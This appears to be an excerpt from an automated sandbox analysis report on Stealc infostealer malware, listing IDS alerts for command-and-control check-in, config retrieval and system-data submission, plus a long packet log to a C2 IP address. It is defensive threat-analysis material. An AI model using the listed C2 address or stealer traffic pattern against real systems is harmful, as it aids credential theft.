.taggant	0x6ab000	0x3000	0x2200	3d1a4eca669bd56ba4155a3af0d0e115	False	0.055376838235294115	DOS executable (COM)	0.6488140761399945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-21T09:06:05.788349+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:06.073202+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:06.079292+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-21T09:06:06.358233+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:06.366829+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-21T09:06:07.479655+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:08.425933+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:16.852585+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:18.643242+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:19.688536+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:20.377116+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:22.085278+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:22.521975+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 09:06:04.445210934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:04.451529026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:04.451647997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:04.451845884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:04.456585884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:05.483613968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:05.483681917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:05.487262011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:05.492976904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:05.788079977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:05.788348913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:05.789422035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:05.794297934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.073108912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.073137999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.073201895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.074439049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.079292059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.358118057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.358232975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.358325958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.358414888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.358453989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.358521938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.359055042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.359067917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.359122038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.360214949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.360230923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.360275030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.360300064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.361900091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.366828918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.645173073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.645265102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.663189888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.663239002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:06.668471098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.668481112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.668488979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.668493032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.668539047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.668549061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:06.668560028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:07.479438066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:07.479655027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.144946098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.150028944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.425812006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.425932884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.425936937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.425955057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.425988913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.426008940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.426989079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.427000999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.427025080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.427046061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.428067923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.428080082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.428097010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.428122044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.428165913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.429188967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.429204941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.429250956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.430360079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.430372953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.430418968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.580364943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.580497980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.580666065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.580677032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.580751896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.581754923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.581767082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.581825018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.582644939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.582657099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.582714081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.583678007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.583689928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.583739996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.584889889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.584902048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.584952116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.586044073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.586055040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.586102962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.700381041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.700479031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.700634956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.700701952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.700774908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.700828075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.701347113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.701358080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.701401949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.701435089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.702562094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.702575922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.702629089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.703509092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.703520060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.703573942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.703573942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.704617023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.704627991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.704638004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.704679966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.704713106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.734931946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.735121965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.735321999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.735333920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.735409021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.820756912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.820888996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.821024895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.821036100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.821095943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.822057009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.822185993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.822379112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.822388887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.822448969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.823574066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.823584080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.823641062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.824759960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.824771881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.824829102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.824884892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.825916052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.825927019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.825979948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.855093002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.855185986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.855387926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.855400085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.855444908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.941210032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.941304922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.941514969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.941525936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.941692114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.941692114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.942615032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.942625999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.942684889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.943654060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.943665981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.943717003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.944833994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.944845915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.944892883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.946012020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.946024895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.946084976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.947166920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.947227955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.975294113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.975419044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.975569010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.975579977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:08.975627899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:08.975661039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.061265945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.061346054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.061579943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.061625957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.061634064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.061676025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.062186003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.062196970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.062237978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.063361883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.063374996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.063411951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.064312935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.064323902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.064363003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.064383984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.065382957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.065397978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.065407991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.065440893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.065453053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.066524982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.066575050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.095560074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.095645905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.095944881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.095956087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.096013069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.096503019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.096514940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.096561909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.181560993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.181646109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.181834936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.181847095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.181898117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.182586908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.182599068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.182645082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.183662891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.183674097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.183721066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.184833050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.184845924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.184890985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.185797930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.185810089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.185854912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.186933994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.186988115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.215770006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.215836048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.216068983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.216079950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.216130018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.216806889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.216819048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.216855049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.216891050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.217845917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.217892885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.302160025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.302287102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.302340031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.302354097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.302401066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.303354025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.303365946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.303447008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.304277897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.304290056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.304337025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.305474043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.305485964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.305532932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.306706905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.306719065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.306761026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.336091995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.336186886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.336474895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.336487055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.336528063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.337455988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.337467909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.337536097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.422239065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.422384977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.422480106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.422493935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.422557116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.423540115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.423552036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.423605919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.424472094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.424483061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.424530983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.425651073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.425663948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.425710917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.426831961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.426843882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.426892996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.427980900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.427993059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.428042889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.456420898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.456491947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.456691027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.456702948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.456758022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.457761049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.457773924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.457832098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.457865000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.542648077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.542721033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.542933941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.542946100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.543003082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.544003963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.544020891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.544066906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.545058966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.545069933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.545119047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.546272993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.546283960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.546355963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.547437906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.547451973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.547508001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.576704025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.576910019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.576961040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:09.577023983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:09.577542067 CEST	80	49730	185.215.113.37	192.168.2.4
